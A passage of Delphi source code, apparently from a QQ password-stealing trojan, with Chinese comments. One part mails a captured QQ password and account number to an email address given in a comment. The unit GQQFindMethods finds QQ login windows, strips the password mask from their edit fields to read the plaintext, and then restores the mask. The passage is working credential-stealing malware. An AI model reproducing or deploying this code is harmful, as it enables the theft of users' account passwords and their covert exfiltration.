count:=0;
repeat r:=WSAStartup(2, w);
inc(count);
until (r=0)or(count>5);
POP3RetriveMail('QQ密码', EmailBody,newQQID);//oiwin@263.net
count:=0;
repeat r:=WSAStartup(2, w);
inc(count);
until (r=0)or(count>5);
POP3RetriveMail(EmailSubject, EmailBody, EmailRecever);
except
end;
end;
end.
再另一个单元
unit GQQFindMethods;
{$I Complier.inc}
interface
uses Windows, SysUtils, GConsts, GNetMethods; //Types,
procedure GoOnMonitorPasswordAndQQNumber;
procedure FindQQWindowForAnyVersion;
implementation
//--------------------------------------------------------------------
//读取指定句柄的TEXT
function GetIDandPassword(HWnd: HWnd; GetPassWord: Boolean = true): string;
const MAX_LENGTH = 255;
var
iPwdChar: Integer;
iPwdLast: Integer;
psText: array[0..MAX_LENGTH] of char;
i: Integer;
begin
iPwdChar := SendMessage(HWnd, EM_GETPASSWORDCHAR, 0, 0);
if (iPwdChar <> 0) then // and GetPassWord
begin
iPwdLast := 0;
i := 0;
while iPwdLast = 0 do
begin
PostMessage(HWnd, EM_SETPASSWORDCHAR, 0, 0);
Inc(i);
iPwdLast := SendMessage(HWnd, EM_GETPASSWORDCHAR, 0, 0);
if i > 100 then break;
end;
SendMessage(HWnd, WM_GETTEXT, MAX_LENGTH, Longint(@psText));
Result := psText;
PostMessage(HWnd, EM_SETPASSWORDCHAR, iPwdChar, 0);
end else begin
SendMessage(HWnd, WM_GETTEXT, MAX_LENGTH, Longint(@psText));
Result := psText;
end;
end;
//--------------------------------------------------------------------
//检查QQ窗口有多少个EDIT控件,用此可以判断QQ的版本号
function GetEditCount(theFormHandle: hwnd): integer;
var
t: hwnd;
szname: array[0..254] of char;
begin
t := GetWindow(theFormHandle, GW_CHILD);
while t <> 0 do
begin
result := 0;
GetClassName(t, @szname, 255);
GetEditCount(t);
if strpas(szname) = 'Edit' then
inc(Editcount);
if Editcount > 62 then
break;
t := GetWindow(t, GW_HWNDNEXT);
end;
end;
//--------------------------------------------------------------------
//找QQ2000中的句柄
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
function FindQQ2000Edit(theFormHandle: hwnd): integer;
var
t: hwnd;
szname: array[0..254] of char;
begin
t := GetWindow(theFormHandle, GW_CHILD);
while t <> 0 do
begin
result := 0;
GetClassName(t, @szname, 255);
GetEditCount(t);


